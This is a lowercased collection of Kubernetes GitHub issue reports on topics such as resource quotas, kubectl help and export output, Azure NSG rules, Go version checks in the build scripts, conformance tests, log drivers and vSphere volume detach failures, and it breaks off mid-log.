----    ------------- --------  ------    -------\r       3m    3m    1 job-controller      warning   failedcreate  error creating: pods \ memhog-ljaqz4ek-\  is forbidden: exceeded quota: memoryquota, requested: memory=200mi, used: memory=400mi, limited: memory=400mi    \r \r furthermore, pods related to the remaining jobs aren't even created and only the completed pods are shown:\r \r     $ kubectl get pods -a\r     name                    ready     status      restarts   age\r     memhog-0ju2eiuy-bz0zm   0/1       completed   0          7m\r     memhog-t8qyt5sj-q9msw   0/1       completed   0          7m    \r \r   anything else we need to know  :\r \r i've also created a stackoverflow question about this  http://stackoverflow.com/questions/43654683/resourcequota-multiple-memory-limited-jobs-restarting-pending-jobs-takes-for , and asked about this in the kubernetes slack, where i was urged to create a bug report.

kubectl version: 1.6.2\r \r   problem:    kubectl proxy --help  command directly jumps into the examples of the command without explaining what the command does. for example:\r \r    \r $ kubectl proxy -h\r to proxy all of the kubernetes api and nothing else, use: \r \r   $ kubectl proxy --api-prefix=/\r   \r to proxy only part of the kubernetes api and also some static files: \r \r   $ kubectl proxy --www=/my/files --www-prefix=/static/ --api-prefix=/api/\r   \r the above lets you 'curl localhost:8001/api/v1/pods'. \r \r to proxy the entire kubernetes api at a different root, use: \r \r   $ kubectl proxy --api-prefix=/custom/\r   \r the above lets you 'curl localhost:8001/custom/api/v1/pods'\r \r examples:\r     run a proxy to kubernetes apiserver on port 8011, serving static content from ./local/www/\r   kubectl proxy --port=8011 --www=./local/www/\r   \r     run a proxy to kubernetes apiserver on an arbitrary local port.\r     the chosen port for the server will be output to stdout.\r   kubectl proxy --port=0\r   \r     run a proxy to kubernetes apiserver, changing the api prefix to k8s-api\r     this makes e.g. the pods api available at localhost:8001/k8s-api/v1/pods/\r   kubectl proxy --api-prefix=/k8s-api\r ...\r \r    \r \r compare this with:\r \r    \r  kubectl apply -h\r apply a configuration to a resource by filename or stdin. this resource will be created if it doesn't exist yet. to use\r 'apply', always create the resource initially with either 'apply' or 'create --save-config'.\r \r json and yaml formats are accepted.\r \r alpha disclaimer: the --prune functionality is not yet complete. do not use unless you are aware of what the current\r state is. see https://issues.k8s.io/34274.\r \r examples:\r  ... \r    \r \r \r    \r $ kubectl rollout -h\r manage a deployment using subcommands like \ kubectl rollout undo deployment/abc\ \r \r examples:\r  ... \r

each version of k8s should have its corresponding node conformance test, which includes the tests and the validations required by that version. the latest node conformance test image is  gcr.io/google_container/node-test:0.2 . the name and the tag do not clearly indicate which k8s version the test is for.\r \r we could encode the k8s version into the image name to make this clear. for example,  gcr.io/google_container/node-test-k8s-1.7:0.1  is the test for k8s v1.7.

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r cloud provider\r cloudprovideroptions\r defaultexternalhost \r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r in  kubernetes/pkg/kubeapiserver/options/cloudprovider.go  we have a defaultexternalhost  func that contains a todo stating that we should extend it to other cloud providers, since it only support aws and cge for now, using the following condition : \r \r    go\r \t// todo: extend for other providers\r \tif s.cloudprovider == \ gce\  || s.cloudprovider == \ aws\  \r

 \r   what happened  :\r  kubectl get -o yaml --export  on a service includes fields that shouldn't be exported.\r \r   what you expected to happen  :\r resources exported with  kubectl get -o yaml --export  should be creatable without errors.\r \r   how to reproduce it  as minimally and precisely as possible   :\r nb. derived from https://cloud.google.com/container-engine/docs/quickstart\r    \r kubectl run hello-node --image=gcr.io/google-samples/node-hello:1.0 --port=8080\r kubectl expose deployment hello-node --type=\ loadbalancer\ \r kubectl get deployment hello-node -o yaml --export > deployment.yaml\r kubectl get service hello-node -o yaml --export > service.yaml\r kubectl delete svc,deployment hello-node\r kubectl create -f deployment.yaml\r kubectl create -f service.yaml\r    \r \r   anything else we need to know?  :\r error when running the last command:  the service \ hello-node\  is invalid: spec.clusterip: invalid value: \ <unknown>\ : must be empty, 'none', or a valid ip address \r \r contents of the exported service config:\r    \r $ cat service.yaml\r apiversion: v1\r kind: service\r metadata:\r   creationtimestamp: null\r   labels:\r     run: hello-node\r   name: hello-node\r   selflink: /api/v1/namespaces//services/hello-node\r spec:\r   clusterip: <unknown>\r   ports:\r   - nodeport: 31668\r     port: 8080\r     protocol: tcp\r     targetport: 8080\r   selector:\r     run: hello-node\r   sessionaffinity: none\r   type: loadbalancer\r status:\r   loadbalancer: {}\r    \r \r the  clusterip  field is causing the error, it should be omitted when exporting config.\r \r exposing with --dry-run=true yields the following config:\r \r    \r $ kubectl expose deployment hello-node --type=\ loadbalancer\  --dry-run=true -o yaml\r apiversion: v1\r kind: service\r metadata:\r   creationtimestamp: null\r   labels:\r     run: hello-node\r   name: hello-node\r spec:\r   ports:\r   - port: 8080\r     protocol: tcp\r     targetport: 8080\r   selector:\r     run: hello-node\r   type: loadbalancer\r status:\r   loadbalancer: {}\r    \r \r notably, clusterip and nodeport are not present. my expectation is that the  --export config  would be closer to  or even equal to  the  --dry-run=true  output.\r \r   environment  :\r - kubernetes version  use  kubectl version  :  client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:44:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:33:17z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - cloud provider or hardware configuration  : gke\r - os  e.g. from /etc/os-release : debian gnu/linux 8  jessie \r - kernel  e.g.  uname -a  : linux hello-node-3056736656-24pv9 4.4.35+  1 smp wed apr 5 13:00:57 pdt 2017 x86_64 gnu/linux\r

what happened  :\r while working on pr  49983  see @thockin's comment on the type , we reached agreement that  collisioncount  used by the  deployment ,  daemonset , and  statefulset  controllers for name collision avoidance should have type int32 rather than int64. \r \r   what you expected to happen  :\r  collisioncount  should have type int32 across controllers that use it for collision avoidance.\r \r   how to reproduce it  as minimally and precisely as possible   :\r n/a.\r \r   anything else we need to know?  :\r @kow3ns @thockin @janetkuo \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r bug report\r > uncomment only one, leave it on its own line: \r >\r >  \r \r   what happened  :\r in kubernetes 1.8, i cherry picked  this  https://github.com/kubernetes/kubernetes/pull/54177  which correctly sets destination ip with corresponding front end ip in nsg rule when creating service. kubernetes, however, does not automatically update already existing nsg rules by setting correct destination ip.\r \r the fix can be done in  findsecurityrule  in  azure_loadbalancer.go  to not only check rule.name, but also to check other properties: portocol, sourceportrange, destinationportrange, sourceaddressprefix, destinationaddressprefix, etc.  if any of these doesn't match, it should drop the rule and add the new rule.  i will create pr shortly and refer to this issue \r \r   what you expected to happen  :\r for existing nsg rules for services, kubernetes should update each nsg rules to have correct destination ip instead of already existing any as destination. \r \r also if i manually make change to nsg rule, for example to have random destination port different from what's specified in service definition, kubernetes should detect the difference and automatically update it back to what's specified in service.\r \r   how to reproduce it  as minimally and precisely as possible   :\r go to azure portal and manually change a nsg rule's any specification. ex  change destination port. and then realize kubernetes does not automatically fix it.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8.2\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : \r    \r name=\ container linux by coreos\ \r id=coreos\r version=1548.4.0\r version_id=1548.4.0\r build_id=2017-10-26-0356\r pretty_name=\ container linux by coreos 1548.4.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r    \r  - kernel  e.g.  uname -a  : linux master 4.13.9-coreos  1 smp thu oct 26 03:35:38 utc 2017 x86_64 intel r  xeon r  cpu e5-2673 v3 @ 2.40ghz genuineintel gnu/linux \r \r \r 

currently kops e2e test infrastructure does not support running disruptive tests that involved shutting down nodes or rebooting nodes, because stopped nodes are automatically terminated by autoscaling group.\r \r openshift  and perhaps other variants  deployment does not automatically terminate stopped nodes and this causes bit of problem in testing disruptive stuff that relies on node to come back and be fully functional. \r \r  

failure cluster  4d2471b41d9c9ccf7847  https://go.k8s.io/triage 4d2471b41d9c9ccf7847        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/kube_proxy.go:207 expected error:     < strconv.numerror | 0xc420bd2540>: {         func: \ atoi\ ,         num: \ \ ,         err: {s: \ invalid syntax\ },     }     strconv.atoi: parsing \ \ : invalid syntax not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/kube_proxy.go:194           failure cluster statistics: 1 tests failed,    5 jobs failed,    66 builds failed. failure stats cover 1 day time range '22 dec 2017 02:22 utc' to '23 dec 2017 02:22 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  sig-network  network should set tcp close_wait timeout | 5 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-cos-docker-validation | 23 |  23 dec 2017 00:54 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-cos-docker-validation/7306  | | ci-kubernetes-e2e-kops-aws-ena-nvme | 18 |  23 dec 2017 01:05 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kops-aws-ena-nvme/500  | | ci-kubernetes-e2e-gce-ubuntudev2-k8sbeta-default | 12 |  23 dec 2017 00:44 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-ubuntudev2-k8sbeta-default/39  |  /assign @bowei  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | bowei |  sig-network  network should set tcp close_wait timeout | | sig/network |  sig-network  network should set tcp close_wait timeout |  </details><br>   current status  https://go.k8s.io/triage 4d2471b41d9c9ccf7847

 \r the ref: value should be a plain string in swagger 2+ and in the json spec cited\r \r that is, in\r  https://raw.githubusercontent.com/kubernetes/kubernetes/master/api/openapi-spec/swagger.json  https://raw.githubusercontent.com/kubernetes/kubernetes/master/api/openapi-spec/swagger.json \r \r we have \r \r    json\r io.k8s.apiextensions-apiserver.pkg.apis.apiextensions.v1beta1.jsonschemaprops\ : {\r       \ description\ : \ jsonschemaprops is a json-schema following specification draft 4  http://json-schema.org/ .\ ,\r       \ properties\ : {\r         \ $ref\ : { \r           \ type\ : \ string\ \r         },\r         \ $schema\ : {\r           \ type\ : \ string\ \r         },\r    \r \r the ref value should be just a string \r \r see:\r swagger 2 specs:\r -  https://github.com/oai/openapi-specification/blob/master/versions/2.0.md reference-object  https://github.com/oai/openapi-specification/blob/master/versions/2.0.md reference-object \r \r and from \r -  https://tools.ietf.org/html/draft-zyp-json-schema-04 ref-json-reference  https://tools.ietf.org/html/draft-zyp-json-schema-04 ref-json-reference \r \r leads to:\r  -  https://tools.ietf.org/html/draft-pbryan-zyp-json-ref-03  https://tools.ietf.org/html/draft-pbryan-zyp-json-ref-03 \r \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :  v1.9.2\r

is this a bug report  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r failed to build kubernetes with go 1.10:\r \r   what you expected to happen  :\r kubernetes builds with go 1.10\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r when building kubernetes using golang 1.10 hack/lib/golang.sh fail to realize that golang 1.10 is a higher version than 1.9.1.\r \r imo problem is  here  https://github.com/kubernetes/kubernetes/blob/master/hack/lib/golang.sh l322 .\r \r it can be simply reproduced:\r \r    \r $ /bin/bash -c '   \ go1.8\  < \ go1.9.1\     && echo true || echo false'\r true\r $ /bin/bash -c '   \ go1.9.4\  < \ go1.9.1\     && echo true || echo false'\r false\r $ /bin/bash -c '   \ go1.10\  < \ go1.9.1\     && echo true || echo false'\r true\r    \r \r last command should result into false\r \r   environment  :\r - os: darwin       16.7.0 darwin kernel version 16.7.0: mon nov 13 21:56:25 pst 2017; root:xnu-\r - kubernetes version: 1.9.3:\r - install tools: golang-1.10\r

this is a cleanup/ refactor   :\r during 1.11 release, as part of https://github.com/kubernetes/kubernetes/pull/64408/commits/33f59e438e93b824492caff5d39fd143b43eac9a there were concerns raised by @lavalamp regarding whether the aforementioned code belongs there, or in a different location. \r \r from slack: \r    \r yeah, an \ api\  that's only in the  go  client, under a random tools directory, is not really acceptable. doesn't work for other languages, and it can't be enforced correctly, etc. if it's just a convention then some combination of: it shouldn't be called an api  ? , should be documented such that you can repeat from other languages, should be implemented in a control plane component and not a client, should be promoted to an actual api.\r and if it's specific to kubeadm, which it appears to be  ? , then it shouldn't be in the general go client.\r also i'm very nervous about a security-critical feature being non obviously buried here\r    \r \r the purpose of this issue is to find that home in the 1.12 cycle. \r \r  \r /cc @kubernetes/sig-cluster-lifecycle-misc @kubernetes/sig-api-machinery-misc

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r evaluating e2e tests based on available  podspecs  https://github.com/kubernetes/kubernetes/blob/master/pkg/apis/core/types.go l2473  options which are covering important aspects with user scenarios and   _eligible to promote for conformance_  .\r \r   what you expected to happen  :\r these 4 e2e tests evaluate different  podphase  https://github.com/kubernetes/kubernetes/blob/master/pkg/apis/core/types.go l2068  and  podstatus  https://github.com/kubernetes/kubernetes/blob/master/pkg/apis/core/types.go l2715  based on  initcontainerstatuses  https://github.com/kubernetes/kubernetes/blob/master/pkg/apis/core/types.go l2750 .\r \r 1. initcontainer  nodeconformance  should invoke init containers on a restartnever pod\r > - looks for   podphase=succeed    all pods terminated with exit status 0 \r > - pod is initialized  means all init container started \r \r 2. initcontainer  nodeconformance  should invoke init containers on a restartalways pod\r > - looks for   podphase=running    atleast 1 container is running \r > - pod is initialized\r \r 3. initcontainer  nodeconformance  should not start app containers if init containers fail on a restartalways pod\r > - looks for   podphase=pending  \r > - restarted pod atleast 2 times\r \r 4. initcontainer  nodeconformance  should not start app containers and fail the pod if init containers fail on a restartnever pod\r > - looks for   podphase=failed  \r > - one of container status is waiting\r \r   anything else we need to know?  :\r 1. please comment,   _are these tests good to promote for conformance_   or do we need to look on other aspects as well ?\r 2. below are observed api endpoint hits during tests execution.  api coverage improvement  -\r \r _initcontainer  nodeconformance  should invoke init containers on a restartnever pod_\r    \r get /api/v1/namespaces/e2e-tests-init-container-4zdws/pods/pod-init-14227e97-687f-11e8-a0a8-7cd30ac64302\r update /api/v1/namespaces/e2e-tests-init-container-4zdws/pods/pod-init-14227e97-687f-11e8-a0a8-7cd30ac64302/status\r list /api/v1/namespaces/e2e-tests-init-container-4zdws/pods\r watch /api/v1/namespaces/e2e-tests-init-container-4zdws/pods\r create /api/v1/namespaces/e2e-tests-init-container-4zdws/pods\r create /api/v1/namespaces/e2e-tests-init-container-4zdws/pods/pod-init-14227e97-687f-11e8-a0a8-7cd30ac64302/binding\r deletecollection /api/v1/namespaces/e2e-tests-init-container-4zdws/pods\r get /api/v1/namespaces/kube-system/pods/heapster-v1.5.3-7c79d479bb-xnp4h\r get /api/v1/namespaces/kube-system/pods/metrics-server-v0.2.1-7486f5bd67-jt2d2\r    \r \r _initcontainer  nodeconformance  should invoke init containers on a restartalways pod_\r    \r get /api/v1/namespaces/e2e-tests-init-container-qgz9s/pods/pod-init-70809153-6892-11e8-a0a8-7cd30ac64302\r update /api/v1/namespaces/e2e-tests-init-container-qgz9s/pods/pod-init-70809153-6892-11e8-a0a8-7cd30ac64302/status\r list /api/v1/namespaces/e2e-tests-init-container-qgz9s/pods\r get /api/v1/namespaces/kube-system/pods/heapster-v1.5.3-7c79d479bb-xnp4h\r deletecollection /api/v1/namespaces/e2e-tests-init-container-qgz9s/pods\r get /api/v1/namespaces/kube-system/pods/metrics-server-v0.2.1-7486f5bd67-jt2d2\r watch /api/v1/namespaces/e2e-tests-init-container-qgz9s/pods\r create /api/v1/namespaces/e2e-tests-init-container-qgz9s/pods\r create /api/v1/namespaces/e2e-tests-init-container-qgz9s/pods/pod-init-70809153-6892-11e8-a0a8-7cd30ac64302/binding\r delete /api/v1/namespaces/e2e-tests-init-container-qgz9s/pods/pod-init-70809153-6892-11e8-a0a8-7cd30ac64302\r    \r _initcontainer  nodeconformance  should not start app containers if init containers fail on a restartalways pod_\r    \r get /api/v1/namespaces/e2e-tests-init-container-h9d8n/pods/pod-init-69f263f4-68cb-11e8-a0a8-7cd30ac64302\r update /api/v1/namespaces/e2e-tests-init-container-h9d8n/pods/pod-init-69f263f4-68cb-11e8-a0a8-7cd30ac64302/status\r get /api/v1/namespaces/kube-system/pods/metrics-server-v0.2.1-7486f5bd67-jt2d2\r get /api/v1/namespaces/kube-system/pods/heapster-v1.5.3-7c79d479bb-xnp4h\r create /api/v1/namespaces/e2e-tests-init-container-h9d8n/pods/pod-init-69f263f4-68cb-11e8-a0a8-7cd30ac64302/binding\r delete /api/v1/namespaces/e2e-tests-init-container-h9d8n/pods/pod-init-69f263f4-68cb-11e8-a0a8-7cd30ac64302\r    \r \r _initcontainer  nodeconformance  should not start app containers and fail the pod if init containers fail on a restartnever pod_\r    \r get /api/v1/namespaces/e2e-tests-init-container-bxcf6/pods/pod-init-9de05f1c-6880-11e8-a0a8-7cd30ac64302\r update /api/v1/namespaces/e2e-tests-init-container-bxcf6/pods/pod-init-9de05f1c-6880-11e8-a0a8-7cd30ac64302/status\r list /api/v1/namespaces/e2e-tests-init-container-bxcf6/pods\r get /api/v1/namespaces/kube-system/pods/metrics-server-v0.2.1-7486f5bd67-jt2d2\r watch /api/v1/namespaces/e2e-tests-init-container-bxcf6/pods\r create /api/v1/namespaces/e2e-tests-init-container-bxcf6/pods\r create /api/v1/namespaces/e2e-tests-init-container-bxcf6/pods/pod-init-9de05f1c-6880-11e8-a0a8-7cd30ac64302/binding\r deletecollection /api/v1/namespaces/e2e-tests-init-container-bxcf6/pods\r get /api/v1/namespaces/kube-system/pods/heapster-v1.5.3-7c79d479bb-xnp4h\r    \r \r /area conformance\r cc @aishsundar @dchen1107

what happened  :\r \r the logic in the checkernames test for  healthz_test  https://github.com/kubernetes/kubernetes/blob/ed06cbe3e32370da07e9035f89a28521372c9392/staging/src/k8s.io/apiserver/pkg/server/healthz/healthz_test.go l130-l157  is faulty. failing the test when the 'wanted' value equals the actual result is the opposite behavior of what we want. \r \r   what you expected to happen  :\r \r i expect the test to fail when the desired output is not the same as the actual output.\r \r <!-- do not edit below this line -->\r 

hi team ,\r need some help in understanding the issue ,\r \r kubectl version:\r \r output:\r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.1\ , gitcommit:\ eec55b9ba98609a46fee712359c7b5b365bdd920\ , gittreestate:\ clean\ , builddate:\ 2018-12-13t10:39:04z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.1\ , gitcommit:\ eec55b9ba98609a46fee712359c7b5b365bdd920\ , gittreestate:\ clean\ , builddate:\ 2018-12-13t10:31:33z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r i have created a replicaset and service for it with type loadbalancer\r \r kubectl get svc \r \r kubernetes        clusterip      10.96.0.1        <none>        443/tcp          24h\r wildfly-service   loadbalancer   10.108.206.206   <pending>     8080:30640/tcp   74m\r \r i was unable to understand to whats going wrong with my service please help me with this ,i am actually block with this issue .\r \r and my kubernetes master ec2 is having aws role to access the elasticloadbalancing \r

one of the reasons for keeping dead containers around in kubelet today is to get access to logs from previous instances. dead container instances can take up disk space via their root filesystem and result in disk pressure on the nodes. to alleviate disk pressure and improve the logging experience in kubernetes, kubelet can retrieve logs from dead containers and gc them right away once kubelet doesn't depend on metadata associated with old containers. specifically, - kubelet can retrieve logs from the runtime and store in a per-pod, per-container directory inside of  /var/log/  directory. for the docker runtime, this can be a simple move operation. for rkt, we will have to retrieve the logs remotely. - the directory structure can be  /var/log/<poduid>/<containername>/<instancenumber>_stdout.log  - update  kubectl logs -p  to return logs from the files instead of relying on the runtime for previous logs. - these logs will be kept around on a best-effort basis and will be deleted whenever there is disk pressure. - kubelet can prefer keeping the first and most recent instances of a container around and aggressively delete other log files. - all these logs will be accessible initially via the  /logs  rest endpoint. in the future, we can consider expanding  kubectl logs  interface to support an instance number or add support for the first attempt specifically.

this is something that should be supported before statefulsets graduate from beta.\r \r came up in https://github.com/kubernetes/kubernetes/pull/39103 discussion_r93772646\r \r @kargakis @smarterclayton

\r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r    \r w0904 11:21:50.610  w0904 11:21:50.609206    3004 executor.go:109  error running task \ ebsvolume/c.etcd-events.e2e-46620.test-aws.k8s.io\   9m30s remaining to succeed : error creating persistentvolume: volumelimitexceeded: you have exceeded your maximum gp2 storage limit of 20 tib in this region. please contact aws support to request an elastic block store service limit increase.\r    \r see full log https://storage.googleapis.com/kubernetes-jenkins/pr-logs/pull/50780/pull-kubernetes-e2e-kops-aws/46620/build-log.txt\r \r related pr seeing issue - https://github.com/kubernetes/kubernetes/pull/50780\r \r   environment  :\r kubernetes ci

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r \r   what happened  :  kubectl logs  is broken after switching log driver to journald \r \r 1.6.10\r --\r \r \r \r \r   what you expected to happen  :  kubectl logs  should work.\r \r   how to reproduce it  as minimally and precisely as possible   :  spin up a new cluster on gke via web ui.  change the log-driver via  /etc/default/docker .  restart docker service.  logs now appear in the journal but  kubectl logs  no longer works. \r \r \r   anything else we need to know?  :\r when running  kubectl logs  it seems like it's looking for the wrong file.  from my local:\r    \r kubectl logs heapster-v1.3.0-1288166888-25ppw --namespace=kube-system heapster\r failed to open log file \ /var/log/pods/43d5ebdf-a9fc-11e7-814c-42010a8001bf/heapster_1.log\ : open /var/log/pods/43d5ebdf-a9fc-11e7-814c-42010a8001bf/heapster_1.log: no such file or directory%\r    \r on the kubelet:\r    \r gke-testing2-default-pool-2715550c-149w 43d5ebdf-a9fc-11e7-814c-42010a8001bf   ls -lah\r total 16k\r drwxr-xr-x 2 root root 4.0k oct  5 18:37 .\r drwxr-xr-x 6 root root 4.0k oct  5 18:37 ..\r lrwxrwxrwx 1 root root  165 oct  5 18:37 heapster-nanny_0.log -> /var/lib/docker/containers/f57d396fd31e6b3d5d5eb60475d2b42aa182b4866d55fb50a9eadc5efe181c67/f57d396fd31e6b3d5d5eb60475d2b42aa182b4866d55fb50a9eadc5efe181c67-json.log\r lrwxrwxrwx 1 root root  165 oct  5 18:37 heapster_0.log -> /var/lib/docker/containers/6815b08ccf1c2c4c465ee02b720bbb75477266ad8f65e752e251a4691138e809/6815b08ccf1c2c4c465ee02b720bbb75477266ad8f65e752e251a4691138e809-json.log\r    \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t23:15:59z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.10-gke.1\ , gitcommit:\ 5399ab6217c2f2f4bb4de52a2a23ccc4cd034df2\ , gittreestate:\ clean\ , builddate:\ 2017-09-27t18:06:48z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r same behavior with 1.7.5.\r \r - cloud provider or hardware configuration  : gke\r - os  e.g. from /etc/os-release :\r    \r chromeos_auserver=https://tools.google.com/service/update2\r chromeos_board_appid={76e245cf-c0d0-444d-ba50-36739c18eb00}\r chromeos_canary_appid={90f229ce-83e2-4faf-8479-e368a34938b1}\r chromeos_devserver=\r chromeos_release_appid={76e245cf-c0d0-444d-ba50-36739c18eb00}\r chromeos_release_board=lakitu-signed-mpkeys\r chromeos_release_branch_number=90\r chromeos_release_builder_path=lakitu-release/r60-9592.90.0\r chromeos_release_build_number=9592\r chromeos_release_build_type=official build\r chromeos_release_chrome_milestone=60\r chromeos_release_description=9592.90.0  official build  stable-channel lakitu\r chromeos_release_name=chrome os\r chromeos_release_patch_number=0\r chromeos_release_track=stable-channel\r chromeos_release_version=9592.90.0\r devicetype=other\r google_release=9592.90.0\r hwid_override=lakitu default\r build_id=9592.90.0\r name=\ container-optimized os\ \r kernel_commit_id=c0dda75c2c06905ff4a2e8b41de27d4f2d773856\r google_crash_id=lakitu\r version_id=60\r bug_report_url=https://crbug.com/new\r pretty_name=\ container-optimized os from google\ \r version=60\r google_metrics_product_id=26\r home_url=\ https://cloud.google.com/compute/docs/containers/vm-image/\ \r id=cos\r    \r - kernel  e.g.  uname -a  :  linux gke-testing2-default-pool-2715550c-149w 4.4.64+  1 smp wed aug 30 20:27:36 pdt 2017 x86_64 intel r  xeon r  cpu @ 2.60ghz genuineintel gnu/linux \r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r >  \r   what happened  :\r \r i tried to install a kubernetes cluster from scratch using rbac and node authorization and noticed that the  kubernetes  certificate csr cn is case sensitive. this is not a bug  even marked as it  but a way to provide support for people who is experiencing various  forbidden  user=kubernetes, verb=get, resource=nodes, subresource=proxy   errors: google was also case-insensitive and i found my typo after a lot of troubleshooting.\r \r   what you expected to happen  :\r even rfc says that cn are case-insensitive i suppose that these certs are used for authentication and it's obvious that they are case-sensitive: as mentioned before that was my mistake : \r \r   how to reproduce it  as minimally and precisely as possible   :\r try following csr steps using  kubernetes  instead of  kubernetes  as common name generating the  kubernetes.pem  cert.\r \r   anything else we need to know?  :\r no.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r v1.9.0\r - cloud provider or hardware configuration:\r vagrant based\r - os  e.g. from /etc/os-release :\r centos 7.1\r - kernel  e.g.  uname -a  :\r darwin kernel version 17.3.0\r - install tools:\r kubernetes the hard way by kelsey hightower\r - others:\r no.

 \r   what happened  :\r with a 1 master+3 worker node cluster  1.9.2  and 3 pods with pvs, the controller-manager fails to detach these pvs from the nodes after draining and upgrading to 1.9.5. this causes the pod to hang in the \ containercreating\  state.\r    \r   warning  failedmount            58s  x12 over 26m   kubelet, 84495dab-9d26-49e1-9a5a-b34d36ce12be  unable to mount volumes for pod \ sample-statefulset-1_default eb468d21-3ddb-11e8-89ea-0050568d2fa5 \ : timeout expired waiting for volumes to attach/mount for pod \ default\ /\ sample-statefulset-1\ . list of unattached/unmounted volumes= www \r   warning  failedmount            56s  x17 over 26m   attachdetach-controller                        attachvolume.attach failed for volume \ pvc-92b732f7-3dd3-11e8-b882-0050568d2fa5\  : failed to add disk 'scsi1:0'.\r    \r \r   what you expected to happen  :\r the disk should be detached from the nodes and the pods should be restored to the running state. \r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create a cluster with k8s 1.9.2\r 1. deploy a workload with persistent volumes, replicated across the cluster\r 1. upgrade the cluster to k8s 1.9.5, by first upgrading the master node, then by upgrading the workers in the following order:\r         - drain the node   kubectl drain <node>  \r         - upgrade node to k8s 1.9.5\r         - uncordon the node\r \r   anything else we need to know?  :\r this seems to be occuring because of the changes to the vsphere cloudprovider in 1.9.4, which causes the master node in 1.9.5 to be unable to recognize and identify the 1.9.2 nodes, resulting in the following logs:\r \r    \r i0323 13:21:54.954344    6021 reconciler.go:231  attacherdetacher.detachvolume started for volume \ nil\   uniquename: \ kubernetes.io/vsphere-volume/      kubevols/kubernetes-dynamic-pvc-7ece5266-2e9a-11e8-b4d2-005056b91f7a.vmdk\   on node \ 21a524c0-7812-4f2f-a886-1e93b80e9881\  \r i0323 13:21:54.959794    6021 operation_generator.go:1165  verified volume is safe to detach for volume \ nil\   uniquename: \ kubernetes.io/vsphere-volume/      kubevols/kubernetes-dynamic-pvc-7ece5266-2e9a-11e8-b4d2-005056b91f7a.vmdk\   on node \ 21a524c0-7812-4f2f-a886-1e93b80e9881\  \r e0323 13:21:54.968942    6021 datacenter.go:78  unable to find vm by uuid. vm uuid: 21a524c0-7812-4f2f-a886-1e93b80e9881\r e0323 13:21:54.968960    6021 nodemanager.go:275  error \ no vm found\  node info for node \ 21a524c0-7812-4f2f-a886-1e93b80e9881\  not found\r e0323 13:21:54.968970    6021 vsphere.go:475  cannot find node \ 21a524c0-7812-4f2f-a886-1e93b80e9881\  in cache. node not found!!!\r e0323 13:21:54.968980    6021 attacher.go:260  error checking if volume  \       kubevols/kubernetes-dynamic-pvc-7ece5266-2e9a-11e8-b4d2-005056b91f7a.vmdk\   is already attached to current node  \ 21a524c0-7812-4f2f-a886-1e93b80e9881\  . will continue and try detach anyway. err=no vm found\r e0323 13:21:54.976573    6021 datacenter.go:78  unable to find vm by uuid. vm uuid: 